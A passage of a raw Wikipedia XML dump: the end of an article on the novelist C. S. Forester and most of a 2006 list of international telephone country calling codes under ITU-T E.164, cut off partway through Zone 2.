Born in [[Cairo]], Forester had a complicated life, including imaginary parents, a secret marriage and a debilitating illness. He was educated at [[Alleyn's School]] and [[Dulwich College]] in [[Dulwich]], South [[London]]. During [[World War II]] he moved to the United States where he wrote [[propaganda]] to help get that country to enter the war on the Allied side, and eventually settled in [[Berkeley, California]]. He married Kathleen Belcher in 1926, had two sons, and divorced in 1945. The eldest son, [[John Forester]] is a noted [[cycling]] activist and wrote a biography of his father. In 1947, C. S. Forester secretly married a woman named Dorothy Foster. He suffered extensively from [[arteriosclerosis]] later in life.

The [[popularity]] of the Hornblower series, built around a central character who was heroic but not ''too'' heroic, has continued to grow over time. It is perhaps rivalled only by the much later [[Aubrey–Maturin series]] of seafaring novels by [[Patrick O'Brian]]. Interestingly, both Hornblower and Aubrey are based in part on the historical figure, [[Thomas Cochrane, 10th Earl of Dundonald|Admiral Lord Dundonald]] of [[Great Britain]] (known as '''Lord Cochrane''' during the period when the novels are set). Brian Perett has written a book ''The Real Hornblower: The Life and Times of Admiral Sir James Gordon, GCB'', ISBN 1557509689, presenting the case for a different inspiration, namely [[James Alexander Gordon]].

The original conception of the popular [[United States|American]] [[television]] series ''[[Star Trek]]'' was based in large measure on the Hornblower books, and was pitched as such to [[NBC]] [[television]] by creator [[Gene Roddenberry]].

Forester also had a life outside the ''Hornblower'' series, writing many other novels, among them ''[[The African Queen (novel)|The African Queen]]'' (1935) and ''[[The General (novel)|The General]]'' (1936); [[Peninsular War]] novels in ''[[Death to the French]]'' and ''[[The Gun (novel) | The Gun]]''; [[detective fiction|detective novels]] like ''[[Payment Deferred]]'' ([[1926 in literature|1926]]) and ''[[Plain Murder]]'' ([[1930 in literature|1930]]); and seafaring stories that did not involve Hornblower, such as ''[[Brown on Resolution]]'' ([[1929 in literature|1929]]), ''[[The Ship (novel) | The Ship]]'' ([[1943 in literature|1943]]) and ''[[Sink the Bismarck!]]'' ([[1959 in literature|1959]]). Several of his works were filmed, most notably the [[1951 in film|1951 film]] ''[[The African Queen]]'' directed by [[John Huston]]. Forester is also credited as story writer for several movies not based on his published fiction, including ''[[Commandos Strike at Dawn]]'' ([[1942 in film|1942]]).

==See also==
* [[El Ferrol]] (where Hornblower is taken prisoner of war by the Spaniards ([[Napoleonic Wars]])
*[[The African Queen#Correlations between the British World War I campaign in German East Africa and The African Queen|Correlations between the British World War I campaign in German East Africa and ''The African Queen'']]

==References==

* [[John Forester]]: ''Novelist &amp; Storyteller. The Life of C. S. Forester'', ISBN 0-940558-04-1 ([http://www.csforester.org/info.asp excerpt]).

==External links==
*[http://www.csforester.org CS Forester Society]
*[http://mwilden.com/forester/checklist.htm CS Forester Checklist]
*[http://www.ar.com.au/~jriddler/hh/hh.html Horatio Hornblower television series 2001]
*[http://ferrol.historia.tripod.com/elferrol1780/ Map of the Naval Station of '''El Ferrol''' where Hornblower is taken prisoner of war by the Spaniards, by the Dutch pilot '''Hugh Debbieg''' (1731-1810)] 

[[Category:1899 births|Forester, C. S.]]
[[Category:1966 deaths|Forester, C. S.]]
[[Category:English novelists|Forester, C. S.]]
[[Category:Historical novelists|Forester, C. S.]]

[[de:C. S. Forester]]
[[fr:Cecil Scott Forester]]
[[pl:Cecil Scott Forester]]
[[ru:Форестер, Сесил Скотт]]</text>
    </revision>
  </page>
  <page>
    <title>List of country calling codes</title>
    <id>5770</id>
    <revision>
      <id>41689019</id>
      <timestamp>2006-03-01T01:57:04Z</timestamp>
      <contributor>
        <ip>68.105.22.46</ip>
      </contributor>
      <comment>/* External Links */</comment>
      <text xml:space="preserve">[[Image:04c093 rotary dial abc.jpg|right|thumb|A telephone dial]]
This is a '''list of country calling codes''' defined by [[ITU-T]] recommendation [[E.164]]. 

==At a glance==
{| border=&quot;1&quot; celspacing=&quot;1&quot;
|-
| width=&quot;100%&quot; align=&quot;center&quot; colspan=&quot;10&quot; |&lt;tt&gt;'''+0:''' Not used&lt;/tt&gt;
|-
| width=&quot;100%&quot; align=&quot;center&quot; colspan=&quot;10&quot; |&lt;tt&gt;'''+1:''' ([[North American Numbering Plan|NANP]]) [[United States|US]], [[Canada|CA]], [[Anguilla|AI]], [[Antigua and Barbuda|AG]], [[American Samoa|AS]], [[Barbados|BB]], [[Bahamas|BS]], [[British Virgin Islands|VG]], [[U.S. Virgin Islands|VI]], [[Cayman Islands|KY]], [[Bermuda|BM]], [[Grenada|GD]], [[Turks and Caicos Islands|TC]], [[Montserrat|MS]], [[Northern Mariana Islands|MP]], [[Guam|GU]], [[St. Lucia|LC]], [[Dominica|DM]], [[St. Vincent and the Grenadines|VC]], [[Puerto Rico|PR]], [[Dominican Republic|DO]], [[Trinidad and Tobago|TT]], [[St. Kitts and Nevis|KN]], [[Jamaica|JM]]&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+20:''' [[Egypt|EG]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+210:''' --&lt;br&gt;
'''+211:''' --&lt;br&gt;
'''+212:''' [[Morocco|MA]], ''[[Western Sahara|EH]]''&lt;br&gt;
'''+213:''' [[Algeria|DZ]]&lt;br&gt;
'''+214:''' --&lt;br&gt;
'''+215:''' --&lt;br&gt;
'''+216:''' [[Tunisia|TN]]&lt;br&gt;
'''+217:''' --&lt;br&gt;
'''+218:''' [[Libya|LY]]&lt;br&gt;
'''+219:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+220:''' [[The Gambia|GM]]&lt;br&gt;
'''+221:''' [[Senegal|SN]]&lt;br&gt;
'''+222:''' [[Mauritania|MR]]&lt;br&gt;
'''+223:''' [[Mali|ML]]&lt;br&gt;
'''+224:''' [[Guinea|GN]]&lt;br&gt;
'''+225:''' [[Côte d'Ivoire|CI]]&lt;br&gt;
'''+226:''' [[Burkina Faso|BF]]&lt;br&gt;
'''+227:''' [[Niger|NE]]&lt;br&gt;
'''+228:''' [[Togo|TG]]&lt;br&gt;
'''+229:''' [[Benin|BJ]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+230:''' [[Mauritius|MU]]&lt;br&gt;
'''+231:''' [[Liberia|LR]]&lt;br&gt;
'''+232:''' [[Sierra Leone|SL]]&lt;br&gt;
'''+233:''' [[Ghana|GH]]&lt;br&gt;
'''+234:''' [[Nigeria|NG]]&lt;br&gt;
'''+235:''' [[Chad|TD]]&lt;br&gt;
'''+236:''' [[Central African Republic|CF]]&lt;br&gt;
'''+237:''' [[Cameroon|CM]]&lt;br&gt;
'''+238:''' [[Cape Verde|CV]]&lt;br&gt;
'''+239:''' [[São Tomé and Príncipe|ST]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+240:''' [[Equatorial Guinea|GQ]]&lt;br&gt;
'''+241:''' [[Gabon|GA]]&lt;br&gt;
'''+242:''' [[Republic of Congo|CG]]&lt;br&gt;
'''+243:''' [[Democratic Republic of Congo|CD]]&lt;br&gt;
'''+244:''' [[Angola|AO]]&lt;br&gt;
'''+245:''' [[Guinea-Bissau|GW]]&lt;br&gt;
'''+246:''' [[British Indian Ocean Territory|IO]]&lt;br&gt;
'''+247:''' [[Ascension Island|AC]]&lt;br&gt;
'''+248:''' [[Seychelles|SC]]&lt;br&gt;
'''+249:''' [[Sudan|SD]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+250:''' [[Rwanda|RW]]&lt;br&gt;
'''+251:''' [[Ethiopia|ET]]&lt;br&gt;
'''+252:''' [[Somalia|SO]]&lt;br&gt;
'''+253:''' [[Djibouti|DJ]]&lt;br&gt;
'''+254:''' [[Kenya|KE]]&lt;br&gt;
'''+255:''' [[Tanzania|TZ]]&lt;br&gt;
'''+256:''' [[Uganda|UG]]&lt;br&gt;
'''+257:''' [[Burundi|BI]]&lt;br&gt;
'''+258:''' [[Mozambique|MZ]]&lt;br&gt;
'''+259:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+260:''' [[Zambia|ZM]]&lt;br&gt;
'''+261:''' [[Madagascar|MG]]&lt;br&gt;
'''+262:''' [[Réunion|RE]]&lt;br&gt;
'''+263:''' [[Zimbabwe|ZW]]&lt;br&gt;
'''+264:''' [[Namibia|NA]]&lt;br&gt;
'''+265:''' [[Malawi|MW]]&lt;br&gt;
'''+266:''' [[Lesotho|LS]]&lt;br&gt;
'''+267:''' [[Botswana|BW]]&lt;br&gt;
'''+268:''' [[Swaziland|SZ]]&lt;br&gt;
'''+269:''' [[Comoros|KM]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+27:''' [[South Africa|ZA]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+28:''' Not used&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+290:''' [[Saint Helena|SH]]&lt;br&gt;
'''+291:''' [[Eritrea|ER]]&lt;br&gt;
'''+292:''' --&lt;br&gt;
'''+293:''' --&lt;br&gt;
'''+294:''' --&lt;br&gt;
'''+295:''' --&lt;br&gt;
'''+296:''' --&lt;br&gt;
'''+297:''' [[Aruba|AW]]&lt;br&gt;
'''+298:''' [[Faroe Islands|FO]]&lt;br&gt;
'''+299:''' [[Greenland|GL]]&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+30:''' [[Greece|GR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+31:''' [[Netherlands|NL]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+32:''' [[Belgium|BE]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+33:''' [[France|FR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+34:''' [[Spain|ES]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+350:''' [[Gibraltar|GI]]&lt;br&gt;
'''+351:''' [[Portugal|PT]]&lt;br&gt;
'''+352:''' [[Luxembourg|LU]]&lt;br&gt;
'''+353:''' [[Republic of Ireland|IE]]&lt;br&gt;
'''+354:''' [[Iceland|IS]]&lt;br&gt;
'''+355:''' [[Albania|AL]]&lt;br&gt;
'''+356:''' [[Malta|MT]]&lt;br&gt;
'''+357:''' [[Cyprus|CY]]&lt;br&gt;
'''+358:''' [[Finland|FI]]&lt;br&gt;
'''+359:''' [[Bulgaria|BG]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+36:''' [[Hungary|HU]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+370:''' [[Lithuania|LT]]&lt;br&gt;
'''+371:''' [[Latvia|LV]]&lt;br&gt;
'''+372:''' [[Estonia|EE]]&lt;br&gt;
'''+373:''' [[Moldova|MD]]&lt;br&gt;
('''+373 533:''' [[Transnistria|PMR]]) &lt;br&gt;
'''+374:''' [[Armenia|AM]]&lt;br&gt;
'''+375:''' [[Belarus|BY]]&lt;br&gt;
'''+376:''' [[Andorra|AD]]&lt;br&gt;
'''+377:''' [[Monaco|MC]]&lt;br&gt;
'''+378:''' [[San Marino|SM]]&lt;br&gt;
'''+379:''' [[Vatican City|VA]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+380:''' [[Ukraine|UA]]&lt;br&gt;
'''+381:''' [[Serbia and Montenegro|CS]]&lt;br&gt;
'''+382:''' --&lt;br&gt;
'''+383:''' --&lt;br&gt;
'''+384:''' --&lt;br&gt;
'''+385:''' [[Croatia|HR]]&lt;br&gt;
'''+386:''' [[Slovenia|SI]]&lt;br&gt;
'''+387:''' [[Bosnia and Herzegovina|BA]]&lt;br&gt;
'''+388:''' [[European Telephony Numbering Space|EU]]&lt;br&gt;
'''+389:''' [[Republic of Macedonia|MK]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+39:''' [[Italy|IT]]&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+40:''' [[Romania|RO]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+41:''' [[Switzerland|CH]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+420:''' [[Czech Republic|CZ]]&lt;br&gt;
'''+421:''' [[Slovakia|SK]]&lt;br&gt;
'''+422:''' --&lt;br&gt;
'''+423:''' [[Liechtenstein|LI]]&lt;br&gt;
'''+424:''' --&lt;br&gt;
'''+425:''' --&lt;br&gt;
'''+426:''' --&lt;br&gt;
'''+427:''' --&lt;br&gt;
'''+428:''' --&lt;br&gt;
'''+429:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+43:''' [[Austria|AT]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+44:''' [[United Kingdom|UK]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+45:''' [[Denmark|DK]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+46:''' [[Sweden|SE]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+47:''' [[Norway|NO]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+48:''' [[Poland|PL]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+49:''' [[Germany|DE]]&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+500:''' [[Falkland Islands|FK]]&lt;br&gt;
'''+501:''' [[Belize|BZ]]&lt;br&gt;
'''+502:''' [[Guatemala|GT]]&lt;br&gt;
'''+503:''' [[El Salvador|SV]]&lt;br&gt;
'''+504:''' [[Honduras|HN]]&lt;br&gt;
'''+505:''' [[Nicaragua|NI]]&lt;br&gt;
'''+506:''' [[Costa Rica|CR]]&lt;br&gt;
'''+507:''' [[Panama|PA]]&lt;br&gt;
'''+508:''' [[St. Pierre and Miquelon|PM]]&lt;br&gt;
'''+509:''' [[Haiti|HT]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+51:''' [[Peru|PE]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+52:''' [[Mexico|MX]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+53:''' [[Cuba|CU]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+54:''' [[Argentina|AR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+55:''' [[Brazil|BR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+56:''' [[Chile|CL]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+57:''' [[Colombia|CO]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+58:''' [[Venezuela|VE]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+590:''' [[Guadeloupe|GP]]&lt;br&gt;
'''+591:''' [[Bolivia|BO]]&lt;br&gt;
'''+592:''' [[Guyana|GY]]&lt;br&gt;
'''+593:''' [[Ecuador|EC]]&lt;br&gt;
'''+594:''' [[French Guiana|GF]]&lt;br&gt;
'''+595:''' [[Paraguay|PY]]&lt;br&gt;
'''+596:''' [[Martinique|MQ]]&lt;br&gt;
'''+597:''' [[Suriname|SR]]&lt;br&gt;
'''+598:''' [[Uruguay|UY]]&lt;br&gt;
'''+599:''' [[Netherlands Antilles|AN]]&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+60:''' [[Malaysia|MY]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+61:''' [[Australia|AU]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+62:''' [[Indonesia|ID]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+63:''' [[Philippines|PH]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+64:''' [[New Zealand|NZ]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+65:''' [[Singapore|SG]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+66:''' [[Thailand|TH]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+670:''' [[Timor-Leste|TL]]&lt;br&gt;
'''+671:''' --&lt;br&gt;
'''+672:''' [[Antarctica|AQ]]&lt;br&gt;
'''+673:''' [[Brunei Darussalam|BN]]&lt;br&gt;
'''+674:''' [[Nauru|NR]]&lt;br&gt;
'''+675:''' [[Papua New Guinea|PG]]&lt;br&gt;
'''+676:''' [[Tonga|TO]]&lt;br&gt;
'''+677:''' [[Solomon Islands|SB]]&lt;br&gt;
'''+678:''' [[Vanuatu|VU]]&lt;br&gt;
'''+679:''' [[Fiji|FJ]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+680:''' [[Palau|PW]]&lt;br&gt;
'''+681:''' [[Wallis and Futuna|WF]]&lt;br&gt;
'''+682:''' [[Cook Islands|CK]]&lt;br&gt;
'''+683:''' [[Niue|NU]]&lt;br&gt;
'''+684:''' --&lt;br&gt;
'''+685:''' [[Samoa|WS]]&lt;br&gt;
'''+686:''' [[Kiribati|KI]]&lt;br&gt;
'''+687:''' [[New Caledonia|NC]]&lt;br&gt;
'''+688:''' [[Tuvalu|TV]]&lt;br&gt;
'''+689:''' [[French Polynesia|PF]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+690:''' [[Tokelau|TK]]&lt;br&gt;
'''+691:''' [[Federated States of Micronesia|FM]]&lt;br&gt;
'''+692:''' [[Marshall Islands|MH]]&lt;br&gt;
'''+693:''' --&lt;br&gt;
'''+694:''' --&lt;br&gt;
'''+695:''' --&lt;br&gt;
'''+696:''' --&lt;br&gt;
'''+697:''' --&lt;br&gt;
'''+698:''' --&lt;br&gt;
'''+699:''' --&lt;/tt&gt;
|-
| width=&quot;100%&quot; align=&quot;center&quot; colspan=&quot;10&quot; |&lt;tt&gt;'''+7:''' [[Russia|RU]], [[Kazakhstan|KZ]]&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+800:''' [[Universal international freephone number|XT]]&lt;br&gt;
'''+801:''' --&lt;br&gt;
'''+802:''' --&lt;br&gt;
'''+803:''' --&lt;br&gt;
'''+804:''' --&lt;br&gt;
'''+805:''' --&lt;br&gt;
'''+806:''' --&lt;br&gt;
'''+807:''' --&lt;br&gt;
'''+808:''' [[Shared Cost Service|XS]]&lt;br&gt;
'''+809:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+81:''' [[Japan|JP]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+82:''' [[South Korea|KR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+83:''' Not used&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+84:''' [[Vietnam|VN]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+850:''' [[North Korea|KP]]&lt;br&gt;
'''+851:''' --&lt;br&gt;
'''+852:''' [[Hong Kong|HK]]&lt;br&gt;
'''+853:''' [[Macau|MO]]&lt;br&gt;
'''+854:''' --&lt;br&gt;
'''+855:''' [[Cambodia|KH]]&lt;br&gt;
'''+856:''' [[Laos|LA]]&lt;br&gt;
'''+857:''' --&lt;br&gt;
'''+858:''' --&lt;br&gt;
'''+859:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+86:''' [[People's Republic of China|CN]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+870:''' [[Inmarsat|XN]]&lt;br&gt;
'''+871:''' [[Inmarsat|XE]]&lt;br&gt;
'''+872:''' [[Inmarsat|XF]]&lt;br&gt;
'''+873:''' [[Inmarsat|XI]]&lt;br&gt;
'''+874:''' [[Inmarsat|XW]]&lt;br&gt;
'''+875:''' --&lt;br&gt;
'''+876:''' --&lt;br&gt;
'''+877:''' --&lt;br&gt;
'''+878:''' [[Universal Personal Telecommunications|XP]]&lt;br&gt;
'''+879:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+880:''' [[Bangladesh|BD]]&lt;br&gt;
'''+881:''' [[Global Mobile Satellite System|XG]]&lt;br&gt;
'''+882:''' [[International Networks (country code)|XV]]&lt;br&gt;
'''+883:''' --&lt;br&gt;
'''+884:''' --&lt;br&gt;
'''+885:''' --&lt;br&gt;
'''+886:''' [[Republic of China|TW]]&lt;br&gt;
'''+887:''' --&lt;br&gt;
'''+888:''' --&lt;br&gt;
'''+889:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+89:''' Not used&lt;/tt&gt;
|-
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+90:''' [[Turkey|TR]] &lt;BR&gt; ('''+90 392:''' [[Turkish Republic of Northern Cyprus|TRNC]])&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+91:''' [[India|IN]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+92:''' [[Pakistan|PK]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+93:''' [[Afghanistan|AF]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+94:''' [[Sri Lanka|LK]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+95:''' [[Myanmar|MM]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+960:''' [[Maldives|MV]]&lt;br&gt;
'''+961:''' [[Lebanon|LB]]&lt;br&gt;
'''+962:''' [[Jordan|JO]]&lt;br&gt;
'''+963:''' [[Syria|SY]]&lt;br&gt;
'''+964:''' [[Iraq|IQ]]&lt;br&gt;
'''+965:''' [[Kuwait|KW]]&lt;br&gt;
'''+966:''' [[Saudi Arabia|SA]]&lt;br&gt;
'''+967:''' [[Yemen|YE]]&lt;br&gt;
'''+968:''' [[Oman|OM]]&lt;br&gt;
'''+969:''' --&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+970:''' [[Palestinian Authority|PS]]&lt;br&gt;
'''+971:''' [[United Arab Emirates|AE]]&lt;br&gt;
'''+972:''' [[Israel|IL]]&lt;br&gt;
'''+973:''' [[Bahrain|BH]]&lt;br&gt;
'''+974:''' [[Qatar|QA]]&lt;br&gt;
'''+975:''' [[Bhutan|BT]]&lt;br&gt;
'''+976:''' [[Mongolia|MN]]&lt;br&gt;
'''+977:''' [[Nepal|NP]]&lt;br&gt;
'''+978:''' --&lt;br&gt;
'''+979:''' [[International premium rate service|XR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;'''+98:''' [[Iran|IR]]&lt;/tt&gt;
| width=&quot;10%&quot; align=&quot;center&quot; |&lt;tt&gt;
'''+990:''' --&lt;br&gt;
'''+991:''' [[ITPCS|XC]]&lt;br&gt;
'''+992:''' [[Tajikistan|TJ]]&lt;br&gt;
'''+993:''' [[Turkmenistan|TM]]&lt;br&gt;
'''+994:''' [[Azerbaidzhan|AZ]]&lt;br&gt;
'''+995:''' [[Georgia (country)|GE]]&lt;br&gt;
'''+996:''' [[Kyrgyzstan|KG]]&lt;br&gt;
'''+997:''' --&lt;br&gt;
'''+998:''' [[Uzbekistan|UZ]]&lt;br&gt;
'''+999:''' [[Telecommunications for Disaster Relief|XD]]&lt;/tt&gt;
|}

==In depth==

===Zone 1 &amp;ndash; North American Numbering Plan Area ===
Areas within [[North American Numbering Plan|NANPA]] (North American Numbering Plan Area) have been assigned area codes as if they were all areas within one country.
The codes below in format +1-XXX represent that area code within the +1 NANPA--Not a separate country code. For example, the country code for Guam is +1 followed by the area code 671--not +671.

*+1   [[United States|United States of America]]
**Including U.S. territories in the [[Oceania|Pacific Islands]]:     
***+1-671   [[Guam]] 
***+1-670   [[Northern Mariana Islands]] 
***+1-684   [[American Samoa]] 
*+1  [[Canada]] (area code details can be found at [http://www.cnac.ca/mapcodes.htm cnac.ca])
*+1-441   [[Bermuda]] 
*Many, but not all, [[Caribbean nation]]s, with area codes:     
**+1-264   [[Anguilla]] 
**+1-268   [[Antigua and Barbuda]] 
**+1-242   [[Bahamas]] 
**+1-246   [[Barbados]] 
**+1-284   [[British Virgin Islands]] 
**+1-345   [[Cayman Islands]] 
**+1-767   [[Dominica]] 
**+1-809 and +1-829 [[Dominican Republic]] 
**+1-473   [[Grenada]] 
**+1-876   [[Jamaica]] 
**+1-664   [[Montserrat]] 
**+1-787 and +1-939 [[Puerto Rico]] 
**+1-869   [[Saint Kitts and Nevis]] 
**+1-758   [[Saint Lucia]] 
**+1-784   [[Saint Vincent and the Grenadines]] 
**+1-868   [[Trinidad and Tobago]] 
**+1-649   [[Turks and Caicos Islands]] 
**+1-340   [[U.S. Virgin Islands]]

:''For more information please see [http://www.nanpa.com/ nanpa.com]''

=== Zone 2 &amp;ndash; Mostly [[Africa]] ===
*20 &amp;ndash; [[Egypt]]
*210 &amp;ndash; unassigned
*211 &amp;ndash; unassigned
*212 &amp;ndash; [[Morocco]]
*213 &amp;ndash; [[Algeria]]
*214 &amp;ndash; unassigned
*215 &amp;ndash; unassigned
*216 &amp;ndash; [[Tunisia]]
*217 &amp;ndash; unassigned
*218 &amp;ndash; [[Libya]]
*219 &amp;ndash; unassigned
*220 &amp;ndash; [[The Gambia]]
*221 &amp;ndash; [[Senegal]]

*222 &amp;ndash; [[Mauritania]]
*223 &amp;ndash; [[Mali]]
*224 &amp;ndash; [[Guinea]]
*225 &amp;ndash; [[Côte d'Ivoire|Côte d'Ivoire (Ivory Coast)]]
*226 &amp;ndash; [[Burkina Faso]]
*227 &amp;ndash; [[Niger]]
*228 &amp;ndash; [[Togo]]
*229 &amp;ndash; [[Benin]]
*230 &amp;ndash; [[Mauritius]]
*231 &amp;ndash; [[Liberia]]
*232 &amp;ndash; [[Sierra Leone]]
*233 &amp;ndash; [[Ghana]]
*234 &amp;ndash; [[Nigeria]]
*235 &amp;ndash; [[Chad]]
*236 &amp;ndash; [[Central African Republic]]
*237 &amp;ndash; [[Cameroon]]
*238 &amp;ndash; [[Cape Verde]]
*239 &amp;ndash; [[São Tomé and Príncipe]]
*240 &amp;ndash; [[Equatorial Guinea]]
*241 &amp;ndash; [[Gabon]]
*242 &amp;ndash; [[Republic of the Congo]] (Brazzaville)
*243 &amp;ndash; [[Democratic Republic of the Congo]] (Kinshasa, formerly known as [[Zaire]])
*244 &amp;ndash; [[Angola]]
*245 &amp;ndash; [[Guinea-Bissau]]
*246 &amp;ndash; [[Diego Garcia]]
*247 &amp;ndash; [[Ascension Island]]
*248 &amp;ndash; [[Seychelles]]
*249 &amp;ndash; [[Sudan]]
*250 &amp;ndash; [[Rwanda]]
*251 &amp;ndash; [[Ethiopia]]
*252 &amp;ndash; [[Somalia]] (also used in [[Somaliland]])
*253 &amp;ndash; [[Djibouti]]
*254 &amp;ndash; [[Kenya]]
*255 &amp;ndash; [[Tanzania]]
*256 &amp;ndash; [[Uganda]]
*257 &amp;ndash; [[Burundi]]
*258 &amp;ndash; [[Mozambique]]
*259 &amp;ndash; [[Zanzibar]] - ''never implemented - see 255 Tanzania''
*260 &amp;ndash; [[Zambia]]
*261 &amp;ndash; [[Madagascar]]
*262 &amp;ndash; [[Réunion]]
*263 &amp;ndash; [[Zimbabwe]]
*264 &amp;ndash; [[Namibia]]
*265 &amp;ndash; [[Malawi]]
*266 &amp;ndash; [[Lesotho]]
*267 &amp;ndash; [[Botswana]]
*268 &amp;ndash; [[Swaziland]]
*269 &amp;ndash; [[Comoros]] and [[Mayotte]]
*27  &amp;ndash; [[South Africa]]
*28x &amp;ndash; unassigned
*290 &amp;ndash; [[Saint Helena]]
*291 &amp;ndash; [[Eritrea]]
*292 &amp;ndash; unassigned
*293 &amp;ndash; unassigned
*294 &amp;ndash; unassigned
*295 &amp;ndash; discontinued (was assigned to [[San Marino]], see +378)
*296 &amp;ndash; unassigned
*297 &amp;ndash; [[Aruba]]
*298 &amp;ndash; [[Faroe Islands]]
